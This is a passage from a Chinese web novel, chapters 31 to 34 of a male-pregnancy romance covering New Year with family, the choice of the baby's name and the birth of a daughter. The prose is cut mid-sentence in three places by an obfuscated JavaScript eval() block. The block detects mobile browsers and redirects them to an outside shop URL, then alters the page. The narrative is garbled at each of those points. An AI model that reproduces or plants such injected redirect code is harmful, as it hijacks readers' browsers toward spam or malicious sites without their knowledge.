“哦哦,你慢点儿啊。”元丰纳闷,陈硕怎么瞧着好像怪怪的。 一天两次,李格不知道盯着这背影看了多少回。他快速换上自己的鞋:“我先走了。” “啊?”元丰蒙了,“你不是要找阿姨聊天吗?” “突然有急事儿,明天再来唠嗑。” “……” 这一个个的,怎么都来也匆匆,去也匆匆。 31. 第 31 章 元丰在微信上给亲友群发了跨年祝福,顺便约许辉后天吃饭。 跟两个妹妹聊完后,他犹豫了会儿,给父亲也发了一条祝福短信,母亲不用手机,应该会知道吧。 怀孕这个事儿,他还没想好要怎么告诉家里。叔叔阿姨前两天提了下,说是等过年那阵子,看看能不能见个面。 如果过年不行,只能通过视频聊天见了,其他的要等元宝出生后才能安排。 -丰哥,新年快乐! -你妈妈身体好些了吗?我还等着你回来请我吃饭呢。 元丰看着小美的微信头像,心中感慨万千。一晃眼,发生了这么多事儿,自己连孩子都有了。 贺颜打开卧室门,元丰躺在床上捧着手机,两根大拇指噼里啪啦地敲着屏幕下方,他边聊边笑。 “在跟谁聊天?” “小美啊。”元丰笑着回完,抬头一惊,“你咋回来了?” “我不能回来?”贺颜走过去,“聊得还挺开心。” “还行啊。”元丰身正不怕影子斜,主动把手机递给贺总,“我又没瞎聊天,你自己看。小美处对象了,是售后部新来的小伙子,追了她一个月。” 贺颜大概扫了眼聊天记录,绿色的对话框里,元丰叮嘱小美一定要保护好自己,多了解了解对方的品性。 “唉,小美是个好姑娘啊,我当初还想跟她处来着。” “你现在也可以跟她处。” “……”元丰坐到贺总旁边,“你瞎说啥呢,她看到我这肚子该吓跑了。” “生完再处。”贺颜说。 元丰愣了一会儿,好像明白了什么。他一把抱住身边的男人,乐和道:“我都被你弄成同性恋了,还咋处啊?没你不行,元宝没爹也不行。” 贺颜一笑:“不是还有你这个爹吗?” “你到底认没认真听啊?前面还有四个字儿!” “没听见。” 元丰用力掐着结实的腰,拔高嗓门重复道:“没你不行!” “谁?” “我!” “你什么?” “我他妈揍死你!” …… 这新年第一炮有滋没味儿,忒痛苦。元丰垮起脸,委屈道:“之前还说随我高兴的,净忽悠人。” …… 贺颜对着那白嫩的屁股蛋子,抬手就是一巴掌,“睡觉。” 屁股被打得有些痒,元丰又想要了。 他随口胡诌道:“今天是跨年夜啊,必须打响新年第一炮,以后的日子才会更快活。” “我看你现在就挺快活。”贺颜擦完后,丢下一句赶紧睡觉,去了卫生间。 下个月就要过年了,元丰一直没想好怎么跟家里说。 等贺总出来后,他问:“你说我过年回不回去啊?” 贺颜算了下日子,到过年元丰六个多月,还有四维彩超和糖耐要做。天气这么冷,长途跋涉对孕妇来说太过勉强。 “甭回了,先视频见个面吧。等开了春,我抽时间过去一趟。” “啊,你要过去?” “我自己去,你在家待着。元宝到时候出生,他们愿意过来的话,我再安排。” 元丰没有提过母亲的情况,连自己处对象了也没跟家里说。 他不想给贺总添麻烦,赶紧说道:“算了,我妈身体也不好,经不起折腾。我还没告诉家里我处对象了,不知道咋说。” “实话实说。”贺颜问,“害怕?” 元丰摇摇头:“感觉有点不好意思,同性恋在我们那儿好像没有。要不开春了你先别去,等生完元宝,咱俩一块儿去。” “你还会不好意思?”贺颜打趣道,“我看你这脸皮是越来越厚。” “……”元丰轻踹了贺总一脚,回怼,“跟你比,差远了。” 贺颜关上灯:“睡觉。” “好的,厚脸皮。” “……” 新一年的头一天,元丰赖床了。被窝里暖烘烘的,这么难得的时刻不做点什么实在可惜。他用自己的腿勾着贺颜的腿不让起,非得缠着来一发。 “不行。”贺颜拒绝,“纵欲伤身,注意节制。” “哎哟我操,这话还能从你嘴里说出来。”元丰笑出声,“我怀孕前你咋没注意节制?别这么绝情啊,昨晚是跨年炮,今天得来一发新鲜的!” 贺颜跟着笑了,问道:“昨晚那个不是新年第一炮吗?” 元丰一愣,随即改口:“我说错了,是元旦第一炮。” “按你这意思,等春节一到,天天都得来一发新鲜的?” “那当然啊。”元丰嘿嘿一笑,“就看贺老板愿不愿意配合了。” “少跟我嬉皮笑脸的,再躺几分钟起床。” “……” …… 妈的,这小子。 还说看电影,贺颜被缠到快中午才起。他从柜子里翻出自己的睡衣,一边穿一边盯着床上的人。 “下不为例,知道吗?” “不知道。”元丰咧着嘴直乐,“我没文化,听不懂啥意思。” “……”贺颜懒得再多说,“该吃饭了,起来穿衣服。” “我好累啊,不想动了。”元丰把旁边的肚兜和睡衣甩过去,“你帮我穿。” 贺颜拿起衣服走过去:“等生完元宝再收拾你。” “求求你赶紧收拾我。” “……” * 一月份的冬天,越来越冷。许辉刚锁上卷帘门,一辆黑色奔驰就在路边停下。 打过两次照面的男人朝他走来,彬彬有礼道:“你好,我是贺总的助理,姓陈。” “你好你好。” “现在可以出发了吗?” “你们贺总也忒客气了。”许辉指了指旁边,“我电动车还在这儿,要不我自己骑过去吧。” “没事,我会送你回来。” “那好吧,真是麻烦你了啊。” “不用客气。” 许辉还是第一次坐这么好的汽车,不知道该不该替元丰高兴。 到了目的地,汽车靠边停下。透过挡风玻璃,他看到前面也是一辆黑色奔驰,后座车门正好打开,一个高大的男人先从里面出来,随后扶着另外一个稍矮的男人下了车。 “许先生,到了。” “等一下。” “好的。” 路灯下,矮的那个裹得严严实实,高的伸手替他理了理帽子和围巾,目光中透着温柔。俩人丝毫不在意外界的眼光,手牵手走进了那家名叫金陵轩的高级中餐厅。 眼神是骗不了人的,至少此刻,许辉相信贺总对元丰是真心的。 他彻底放下心,不枉自己当初从那座小城的汽车客运站,将十六岁的少年带到这里。 * 短暂的假期,元丰过得开心又充实,还得到了兄弟许辉的祝福。 他现在除了定期产检,整天窝在家里,盼着两位老师的到来。虽然有阿姨和保姆陪着,但他更想和年轻人处一块儿。 幸福的小日子就这么一天天过着。 某天,埋头苦学的元丰终于察觉到了异样。 他正专心写着英语试卷,突然尿急想上厕所,抬头一看,两位老师居然在传小纸条。 陈硕立刻拿起桌上那张拒了十多次的小纸条,塞进裤兜里。 他看向元丰,一脸平静地问道:“是哪里不会做吗?” “呃,我就是想上个厕所。”元丰回道。 李格连忙站起来,笑道:“我扶你过去。” “不用不用。”元丰摆手拒绝,“我现在能走能跑,没事儿。” 李格目光落在圆鼓鼓的孕肚上,不放心地说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658635|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这都六个月了,我还是送你到门口吧。” “真没事儿。”元丰刚站起来,肚子猛地被元宝蹬了一脚。他哎哟叫了一声,把旁边俩人都吓坏了。 陈硕迅速上前扶住他:“怎么了?” “这叫没事儿?”李格关心道,“是不是肚子疼?我送你上医院。” “是元宝,他刚才突然踹我。”元丰绕过学习桌走了两步,“又踹我了。” 陈硕&李格:“……” 十秒钟后。 “可算消停了,这孩子。我先去厕所啊,题待会儿回来再做。”元丰说完,晃晃悠悠地离开了书房。 刚才那一瞬间,李格捕捉到陈硕的紧张。等人走了,他不客气地调侃道:“你不会是对我大嫂有想法吧?” 陈硕只是把元丰当朋友看待,关心自然正常。他面无表情地看了李格一眼:“跟你没关系。” “纸条为什么不看?”李格问。 陈硕这才想起那张小纸条,他从兜里掏出来,当着李格的面把纸条撕碎,扔进了垃圾桶。 “哈哈。”李格看着陈硕那张面瘫脸,又哈哈笑了两声,“你真有意思,撕了是想听我用嘴说?” 纸条上的四个字,陈硕撕的时候看见了。 “我说,我、想、操、你。”李格目光紧盯陈硕,一字一句地复述道。 陈硕微不可察地皱了皱眉头,没有搭理。他回到座位,打开数学课本看了起来。 “今天是最后一天,元丰明天放寒假了。”李格走到陈硕面前,俯身靠近,“我追你追了也快小半年,你这架子要端到什么时候?” 陈硕心里有些烦,甚至憋得慌。他抬眼看向李格,平静道:“端到你死的那天。” “哈哈!”李格边笑边说,“原来你还会说这种话,我果然没看错你。” “离我远点。”陈硕皱起眉头。 李格调戏道:“我这人逆反心理还挺严重的,你越这么说,我越想靠近。” “我来了。”元丰推开门,被书房里的画面吓得着实一惊。 那俩人凑得那么近,啥情况啊? “我说屋里怎么这么香,原来是陈助理头上的洗发水。”李格故意凑近闻了闻,又淡定地拖着椅子回到自己的位置,冲元丰说,“来了赶紧做题。” 陈硕紧了紧拳头,继续看起应用题。 “哦哦。”元丰心里纳闷,这屋里一点都不香啊。 元丰将处对象的事儿告诉了两个妹妹,怀孕没好意思说。 他毫不避讳地说出自己喜欢男人,对象也是个男的,把妹妹们吓得许久没缓过神来。他提前说出来,主要是想让小秋回家时,旁敲侧击地提一下,看看父母的反应。 “哥,你是认真的吗?”元梅问道。 “当然是认真的。”元丰笑着说,“过年公司忙,不然我就带回去给你们看看了。” “有没有照片啊,哥。”元秋激动地八卦道,“你们啥时候在一起的呀?怎么突然就处上对象了?” “之前就处了,一直没说。”元丰满脸幸福,“下回当面说给你听,他是个很好的人。” “那可真是太好了!虽然被吓一跳,不过哥你自己开心才是最重要的。”元秋说,“你就放心吧,爸妈肯定支持你。” 元梅跟着点头:“小秋说得对,只要你好好的就行。” “我每天都挺好挺开心的,你俩别担心。” 因为隔阂,元丰始终没有拨通父亲的电话,只能借妹妹之口,说出自己处对象的事儿。 其实他早就不计较过去发生的那些事,对父母也没有恨意。他现在挺幸福的,感觉一切都是命中注定。 父母种下的因,结出了现在的果。 如果一直留在那个村子里,即便像许辉一样出去打工,他心里明白,自己这辈子都不会遇见一个叫贺颜的男人。 32. 第 32 章 快递即将停运的那几天,元丰收到老家寄来的包裹,是父母腌制的鸡鸭鱼还有晒干的腊肠。 听妹妹小梅说,这些原本是准备等他回去过年时吃的。也是在当天,他接到了父亲打来的电话。 “小丰,爸听小秋说你处对象了。”略微粗犷的男声笑着说,“处了就好,你妈听了也很高兴,以后有空带回来看看。” 父亲没有提及同性恋和男人等字眼,元丰心里很感动,说了声好。 “那些腊肠和鸡鸭鱼,回头给对象家里也送去一些,知道不?”元志强停顿了会儿,“还有银行卡,压在腊肠下面了,找一找。我们有钱给你妈瞧病,那些钱你自己留着。” “……”元丰一听便明白了,着急地说,“那钱就是给你们的,为啥还把卡寄回来?” “我们咋能要你的钱?你留着买房用。”元志强感慨道,“小丰啊,是爸对不起你,帮不上忙。” “我不用你们帮忙,我这儿还有钱。”元丰担心母亲的病,越说越急,“我明天就把卡寄回去。” “不能寄,爸现在生意做得还行,有钱挣。”元志强说,“爸得下地干活儿去了,那些东西别忘了分给对象,知道不?” 元丰还想再说两句,电话已经被挂断了。他穿上拖鞋去了客厅,打开那箱包裹翻找着银行卡。 “小丰,你在找什么?”闵兰瑛走过去,“快站起来,阿姨帮你找。” 元丰托着肚子,单手快速扒拉着咸鱼咸鸡,翻出里面的腊肠。 纸箱子的角落里,有一个卷起来的红色塑料袋。他拿起塑料袋,摸到了银行卡的形状,瞬间红了眼眶。 闵兰瑛把人扶起来,关心道:“怎么了这是?” “我没事儿……”元丰难受地擦了擦眼睛。 贺颜回到家,听母亲说了下午发生的事儿。他打开卧室门,走到元丰身边坐下,“想家了?” “我爸把银行卡还给我了。”元丰叹了口气,“他们不要我的钱……” “他们是为你考虑。”贺颜安慰道,“甭想太多。” “我之前恨过他们。”元丰难受地低下头,“有一阵子,我老想着跟你结束合同,不想被包养。辉哥突然告诉我,说家里在找我。我妈尿毒症晚期,一直想再见我一面。我当时纠结了好几天,不知道该不该回去……” “我怕他们是找我要钱,又觉得自己不能不管,更怕留下遗憾。我之前跟你说过,他们也不是对我不好,就是……就是因为我这身体。我把你给我的钱存了两张卡,本来想着如果他们是要钱,那我就给十五万,以后不管了。可是一回去,我就心软了,想给我妈换肾。” “我留了二十三万的那张卡给他们,如果等到肾源,我这儿剩下的钱补上去也够换。可是他们把卡还给我了,我不知道该咋办……” 贺颜静静听完,想起了元丰回老家的那阵子,确实有些变化。 他把人揽进怀里:“为什么之前不告诉我?” “我不想再给你添麻烦,你已经帮了我这么多,那些钱都是你给的。” “你的事儿,怎么会麻烦?”贺颜说,“主要也确实不麻烦,这事儿你甭管了。” “别啊,换肾的钱我早就凑够了,你别再给我钱。” “好了,出来吃饭。” “……”这个男人为啥对自己这么好,元丰又忍不住湿了眼眶。 往年的除夕夜对贺颜来说,就是家族聚会。先在酒店吃年夜饭,吃完再决定去谁家热闹到十二点,等吃饺子。 但今年多了一大一小两个人,他和父母没有参与家族聚会,一家三口陪着元丰,在这套大平层里度过了不一样的除夕夜。 母亲在擀皮,元丰在帮着包饺子。他再一次感受到什么是生活,看似普通却又很温馨。 再过三个月,家里会添上一口人。 闵兰瑛看着小巧可爱的饺子,笑着说:“我们小丰还会包饺子,包得真漂亮。” 元丰有些不好意思:“小时候老帮家里干活儿,啥都会一点。” “真是能干。” 贺颜十指不沾阳春水,跟元丰学着包了一个饺子,立刻放弃了。 元丰盯着那个四不像,扑哧一笑:“包的啥玩意儿啊,真丑。” “……” 包了十几个饺子后,元丰的手机响了,是三妹元秋发来的视频通话。他赶紧擦干净手上的面粉,接通了。 “哥!新年快乐!!” “小秋,新年快乐!”元丰看着屏幕里的一大家子,父母冲他挥了挥手,小俊在父亲旁边坐着,大声喊,“哥,祝你新年快乐!” “快乐,大家都快乐。”他笑着说,“小梅也来了。” “是啊。”元秋说,“二姐和姐夫都来了,洋洋在她婆婆家里,他们吃完就回去了。” 元丰看到一个陌生男人凑近镜头,冲他笑了笑:“大哥你好,我叫吴宇亮,是小梅她对象。” “你好你好。” 贺颜一直在旁边待着,等一波祝福语说完,主动走到元丰旁边,跟视频里的所有人打起招呼:“大家新年快乐,我——” “啊,这是我对象!”元丰吓一跳,赶紧介绍道,“他叫贺颜,我今天在他家里过年。” “我的天哪!”元秋尖叫出声,“爸妈你们快看,哥他对象好帅啊!” 元丰:“……” 贺颜观察了下视频里的环境,又看向元丰父母,礼貌地打起招呼,“叔叔阿姨好,等开春了我再过去拜访您俩。” 元志强点头笑道:“好好好,不着急的。我们这儿一切都好,你让小丰放心。” “让我也说两句。”贺文仲走到儿子身边。 闵兰瑛放下擀面皮的手,跟着走了过去:“这大过年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658636|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实该说几句,正好商量个合适的时间。” 元丰盯着举起手机的一家三口,偷偷抹了抹眼睛。 他做梦也没想到,自己会有这么幸福的一天。 * “就是个鸡兔同笼的衍生题,怎么还会算错?”李格拿红笔在应用题下方的答案上画了个叉,皱眉道,“这姓陈的到底会不会教,误人子弟。” “不关他的事儿啊,是我自己的问题。”元丰一直心不在焉,不好意思地说,“今天算了吧,我学不进去。” “相思病又犯了?”李格问。 元丰确实犯了相思病,低着头没吭声。孩子他爹和陈硕在三天前出发了,目的地是老家汶沟镇的永坍村。 李格收起数学课本和卷子,决定好好照顾一下孕夫的情绪。 他想安慰几句却不知道该怎么说,情爱这玩意儿,解铃还须系铃人。 “我陪你看看宫斗剧?喜剧电影也行。” 元丰愣了会儿,打起精神:“好,我想看周星驰的。” “行。”李格起身绕到元丰那儿,“我扶你。” “没事儿。”元丰自己站了起来,“我能走啊。” 李格盯着那圆滚滚的肚子,强行把人扶住:“都快八个月了,让我哥也省点心。” “……”元丰无奈点头。 接下来的几天,李格每天都会过来陪元丰看一部喜剧电影,从《逃学威龙》到《整蛊专家》再到《功夫》。 元丰白天有人陪心情还凑合,可一到孤枕难眠的夜晚,心里就开始委屈。他看着视频里的男人,开启每日一问:“你啥时候回来啊……” 元丰的生长环境比想象中要糟糕,贺颜去了才知道他母亲并没有到镇上的医院做血透,为了让远在外地的孩子放心,撒了一个善意的谎言。 贺颜盯着视频里满脸委屈的年轻人,笑道:“后天回去,在家有没有好好听话?” “听了。”元丰侧躺在床上,闷声问,“你今天都干啥了?” 贺颜要办的正事儿差不多快办完,他说:“在村里走了一圈,又跟你爸去镇上看了看。” “感觉咋样啊?” “比较落后,但环境不错,挺适合开发。” “……”元丰吓一跳,赶紧说道,“不行,你不能留在那儿开发!我大后天还要产检,快回来陪我。” “嗯。”真开发需要考察太多方面,贺颜只不过说笑而已。 “我今天跟你弟一块儿看了《破坏之王》,你看过没?”元丰说着说着笑了起来,“那个无敌风火轮真牛逼,特别热血。” “好像看过,没印象了。”贺颜说。 “那等你回来,咱们一块儿重新看一遍,好不好?” “好,听你的。” 虽然每天都在视频,但一个多星期没见到元丰,贺颜发现自己还挺想这小子的。 33. 第 33 章 十点的飞机,现在应该快到家了吧?元丰没舍得睡午觉,一直等啊等,结果在看电影时抵不住困意,靠着沙发睡着了。 闵兰瑛织毛衣太过投入,想上厕所时才发现人睡着了。她起身准备去拿条毯子,儿子正好回来了。 “哎哟,你可回来了。小丰一直等你呢,在沙发上突然睡着了,我先去拿毯子。” 贺颜放下行李箱走过去,午后的客厅里,光线很亮。 元丰仰着头靠在沙发上,左手习惯性地托住孕肚,睡衣领口微微敞开,能看到明显的锁骨线条。 他叫住母亲:“妈,甭拿了。客厅光线亮,我抱他回房睡。” “也是,那你小心点。” 元丰没有坐过飞机,不知怎么就梦到自己好像腾空飞了起来,还闻到一股淡淡的木质清香。好熟悉的味道,是孩子他爹身上传来的。 他迷迷糊糊睁开眼,发现自己正慢慢往下降。 贺颜小心地把人放倒在床上,准备起身时,脖颈突然被伸过来的一双手给勾住,紧跟着被亲了,柔软的舌头急切地钻入自己口中。 他很快反应过来,又俯身吻了回去。 狂热而激烈的吻,点燃了彼此的□□。他们身体相贴,呼吸相融。 元丰将连日的思念通通释放在这个吻里,直到喘不过气儿,才不得不侧头避开,“我,先歇会儿……” “睡吧。” “别走啊。”元丰紧紧拽住要走的人,渴求道,“来一发啊,想死你了。” …… “肚子这么大了,还不安分。” “元宝是个好孩子,他会体谅我的。” “……” * 舒适的大平层还没住满半年,元丰又搬家了,一大家子远离闹市直接搬到了郊区。 看到自带千平花园以及泳池的独栋豪华别墅时,元丰惊得下巴都要掉了,再次感叹有钱人忒他妈会享受。 其实他不想搬家,住进别墅后,孩子他爹每天回来得比之前晚,陪他的时间又少了。 可顺产也是他自己要求的,产检时王医生说元宝胎位正,个头偏小,很适合顺产,建议多散散步,一方面可以加速宝宝头部入盆,对分娩有帮助,另一方面有助于锻炼身体,增进食欲和睡眠。 春天气温回升,肚子遮不住了,别墅花园成了最好的散步场所,还能呼吸到新鲜空气。 元丰知道搬家都是为自己好,但陪伴时间少了近一小时,心里多少有点难过。 因为搬家的事儿,元丰闹过两次情绪。预产期就在下个月,贺颜思考再三,决定在家办公,必要时再去公司。 在书房忙工作时,他发现这小子并不会来打扰自己,也不会无理取闹,元丰想要的只是那一份安全感,还挺懂事儿。 元宝下个月就会出生,元丰的课暂时结束了。 他站在两位老师面前,认认真真地鞠了个躬:“谢谢陈老师和李老师,非常感谢你们对我的帮助!” 陈硕:“……” 李格笑出声:“你这小学还没毕业,弄得这么正式。” “应该的,下次上课不知道啥时候了,先提前谢谢你们。”元丰笑着说。 “我哥呢?”李格问。 “他在书房里工作。”元丰从书架上抽出一本字典,“我想给元宝取个大名,不知道取啥好,两位老师给点意见啊。” 陈硕没有取名的经验,不过还是点了点头,“好。” “这还用你亲自取?”李格稀奇了,“现在别着急,等生了再找人算算。” “跟我姓当然我取啊。” “跟你姓?”李格惊了。 “是啊,你哥说随我高兴。”元丰乐和道,“他每天那么忙,我也不想烦他。我先自己想几个合适的,到时候再跟他商量。” “不愧是我大哥,相当可以。”李格想了想,说,“跟你姓,那忒简单了。元旦元宵随便取,寓意深刻。” 元丰:“……” 陈硕认真思考了下,问道:“孩子是男是女也不清楚,现在就要取吗?” “嗯,各取俩。” “元……”李格语气一顿,“元爱贺吧!这名儿不错,爱情的结晶。” “你别取了。”元丰服了,“求你放过我们家元宝。” 李格:“……” 陈硕接过元丰手里的字典翻了翻,左思右想不知道该取什么样的,倏地想起前阵子跟贺总去过的永坍村,让他对元丰的过去有了进一步的了解。 一个合适的词语出现在脑子里,他问:“元满可以吗?男女通用。寓意的话,大概就是圆满的人生。” “元满……元满……”元丰念了两声,突然意识到自己现在的生活,不就很圆满吗?他有爱人有孩子也有家,每天都很幸福。 李格啧了一声:“圆满这个寓意倒是不错,我看陈助理可以改行给人取名。” 陈硕无视李格,连个眼神都没给。 “我喜欢这个名字!”元丰有些激动,“陈硕,谢谢你啊,我这就去告诉他!你俩别走啊,今天叫你们过来是为了一块儿看电影,中午再留下来吃个饭。” 陈硕没想到元丰会喜欢,有些意外。 等元丰一走,李格肆无忌惮地打量着旁边的男人,嘴角仿佛在隐隐作痛。有生之年,他第一次因为强吻,被同一个人在同一个位置打了第二拳。 陈硕看着不声不响的,下手倒挺重。 他正琢磨着什么时候找个机会,把陈硕给办了,对方突然转身,一把揪住他衣领:“看什么?” 陈硕面无表情地盯着李格,一旦动过手,再给一拳也不会有心理负担,对方自找的。 李格从没见过这样的陈硕,很兴奋。他想起童年时流行过的一句话,笑了。 “你不看我,怎么知道我在看你?” * 元丰敲了敲书房的门,得到准许后,他打开门,激动地走过去:“忙不忙啊?我有事儿想跟你说。” “现在不忙。”贺颜转了个角度,把元丰拉到自己腿上坐下,“什么喜事儿?” “我有喜欢的名字了!还是陈硕帮忙取的,叫元满好不好?满意的满。” “元满……”贺颜低声念了一遍,点头道,“不错,挺好。” “你也觉得好是不是?”元丰高兴地抱着贺总亲了一口,“寓意也特好,等元宝生下来,咱们一家三口圆圆满满,多好啊!” “行,就叫这个。”贺颜问,“他们人呢?” “还在书房里,我就是着急过来跟你说一声,要去陪他们一块儿看电影了。” “嗯。”贺颜摸了摸孕肚,“我还有个视频会议要开一下,忙完再过去。” “工作要紧,你忙你的。” “去吧。” 下午,贺颜趁元丰睡午觉,把元宝的大名告诉了母亲。 闵兰瑛一听,惊讶道:“孩子不跟你姓?” “嗯,跟他姓。”贺颜怕母亲有想法,说道,“妈,如果没有他,我这辈子都不可能有孩子。姓名只是个代号,不管元宝姓什么,他都是我的孩子。” 闵兰瑛沉默了一会儿,感慨道:“年轻人的事儿,我们做长辈的确实不该掺和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658637|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。你们自己高兴就行,你爸那儿,我回头跟他说。” “妈,谢谢您的理解。” “都是一家人,能不理解吗?” * “天黑得越来越晚了。”元丰抬头看向天边的晚霞,拉着男人的手停下脚步。 “累了?” “肚子好重啊……”元丰有些喘,“让我歇会儿。” 贺颜把人拥在怀里,伸手托住快九个月的孕肚,对于瘦弱的元丰来说,这肚子已经大得有些吓人。 “明天去住院。” “还没到日子呢。”元丰不同意,“我想每天都跟你一块儿散步,去医院就不能散了。元宝最近特听话,不会提前出来的。” “最多再晚两天,知道吗?”贺颜说。 “嗯。”元丰伸手指了指远处的一大片月季花,“咱们散到那儿,再往回走。” 贺颜看了下距离,不算太远,便依着他。 元丰高估了自己,还没走到月季花那儿,他就累了:“哎哟,不行了,肚子坠得慌……” 贺颜实在不放心元丰这状态:“明天去剖了吧,别顺了。” “不行!”元丰激动道,“我就要顺产,你别给我乱来啊!” 贺颜无奈,俯身直接将元丰抱起来:“知道了,回家。” “我拖鞋掉了!” “……” 贺颜把元丰放下来,目光在那双脚上停留了两秒。等穿好拖鞋,他重新把人抱起来:“回去给你把脚指甲剪剪。” 元丰嘿嘿一笑:“为啥对我这么好啊?” “你说呢?” 从孕中期开始,元丰没再自己剪过指甲。他靠在男人肩头,酝酿着情绪,低声说了一句英文。 “你说什么?”贺颜脚步一顿,停了下来。 “前阵子跟你弟学的,我是不是说得不标准啊?” 元丰前阵子找李格学了一句特别简单的英文版甜言蜜语,跟着反复念了好久,弄得李格看不下去了,直说:“你别看着我念,怪他妈不好意思的。” 他私下里偷偷练习了几十遍,就怕发音不准。学会之后,他一直没找到合适的机会,冷不丁说出来又有点尴尬。 贺颜听懂了,发音很标准。 只是他没想到,元丰会突然告白。 “你咋不说话啊?”元丰从没听过什么甜言蜜语,灵机一动。 他低声说道:“这英文真难学啊,我好像没说对,你能说一遍给我听听不?” 贺颜无声一笑,这小子从以前开始就一套又一套的。他看向怀中人,那满脸期待的表情就差在脸上刻下“我想听”三个字儿。 “你说不说啊?我正好跟着你学学。” “我考虑一下。” “……” 贺颜从未说过甜言蜜语,也不知道爱情应该是什么样子。 如果是像现在这样,那他很满意。 正如元宝大名的寓意,因为元丰,他有了圆满的人生。 元丰越想越气:“你放我下来,我自己走回去!” “闹什么?” “在一块儿这么久,你从没跟我说过好听的。”元丰越说越急,“赶紧放我……唔……” 贺颜及时堵住元丰那张喋喋不休的嘴,亲够了才退开。 “你……亲我也没用!” “you are the love of my life。” “……”元丰一愣,“你说啥?” “我说回家。” “没听清楚,再说一遍啊!” “没了。” 34. 第 34 章 贺颜担心元宝提前出来,隔天就逼着元丰住院了,代价是再说一遍昨天说过的甜言蜜语。 他把公司的事儿处理完毕,二十四小时在医院里陪着,其间还安排陈硕去订了最好的月子中心。 临近预产期,贺颜瞒着元丰找王医生沟通过,如果能顺产,必须无痛分娩。必要时直接剖腹,能少受罪就少受罪。 之前陪元丰做羊水穿刺时,产房里的产妇叫得有多撕心裂肺,他依旧有印象。 元丰每天在医院里吃吃喝喝,肚子迟迟没有发动的迹象,假性宫缩倒是来了不少回,弄得他以为元宝要出来了。 直到过了预产期,肚子还是没有反应,他开始慌了。贺颜为此又去咨询了医生,得知不用着急,可以再等一等。 四十周加六这一天,元丰挂上了催产素。当催产素起效果时,他正在啃带肉的脆骨,给他疼得手中脆骨都飞了出去。 闵兰瑛吓一跳:“小丰,怎么了?” “我肚子疼……” “我去叫医生!” 贺颜烧个水的工夫,听到元丰痛呼,立刻走进里间。他隔着病号服摸上圆滚滚的肚子,安抚道:“开到三指才能打无痛,坚持一下。” “刚才好疼啊……”元丰瘫在床上,“妈的,真疼……” 贺颜不想再重复剖腹产的话题,医生也说元丰很符合顺产的条件,可以试着顺一下。 这宫缩的疼痛,是免不了了。 “啊!又来了!”元丰痛叫出声,“好痛啊,跟有棍子在肚子里搅和似的,操啊……” “……”贺颜坐在边上什么忙都帮不上,只能一遍又一遍地安慰他,“马上就能打无痛了,再忍一忍。” 王医生过来做了个内检,说是开了一指,可以先进产房了。 元丰知道生孩子会痛,可没想到居然能痛成这样。从一指开到两指的过程中,已经痛得生不如死,再到三指,痛得他浑身发抖,面无血色,仿佛死过一回。 他死死地掐着男人胳膊:“妈的,不想生了……好痛啊……” 贺颜手腕上被抠出了不少指甲印,有的破皮开始渗血。他心疼但没办法,只能坐在旁边不停安慰:“生完了,以后都随你高兴。” “你……你别忽悠我啊……又来了,啊……刀在肚子里搅和……” “好了好了,开始上无痛了啊。”医生走过来,安慰道,“马上就不痛了啊,不要怕。” 打上无痛之后,元丰才觉得自己活了过来,又迷迷糊糊地睡了过去。 贺颜这才松了口气,就不该听这小子的,直接剖了还不至于受这么多罪。 元丰是被医生叫醒的,有手指进-入了他的身体检查,他听到医生说开到十指了,可以试产。 助产士在一旁喊道:“来,吸气,用力!” 不知道是麻药的原因还是没经验,元丰使不上劲儿,有医生按着他的腿,还有个人在推他肚子。他吓得紧紧拽住贺总的手,试着吸气。 “用力!吸气!”助产士一直在加油鼓励,“再吸气,用力!” 贺颜握紧元丰的手,跟着鼓励道:“配合助产士,先吸气。” “我想拉屎……”元丰虚弱道。 “……”贺颜摸了摸元丰额前的湿发,“生完再拉。” “想拉屎就对了,就是这感觉!”助产士继续鼓励,“你就用力拉!使劲!快,头出来了!” 元丰吸了一大口气,拼命使劲,感觉有什么东西从身体里猛地泄了出去。 产房里响起一声婴儿的啼哭。贺颜看着面色苍白的元丰,一边亲着他的手一边夸奖:“你多能个儿,说生就生出来了。” 元丰眼眶发红,似乎不敢相信:“我生了……” “嗯,生了。” “五斤六两,女孩儿。” 贺颜闻声侧头看去,助产士把已经裹好的小婴儿抱到他和元丰跟前,“看一看小闺女啊。” 婴儿停止了哭闹,安安静静地躺在襁褓里,不知道在看什么。贺颜以为刚出生的婴儿都会很丑,但元宝白白嫩嫩的,看着很秀气。 元丰躺着没法动,连自己闺女的样子都没看清楚。 “撕裂得不太严重,不过得缝一下。” 一切就像一场梦,元丰侧头看向被放在婴儿车上的元宝,小小的,很陌生。那是自己的孩子吗?在肚子里那么调皮,原来是个小姑娘。 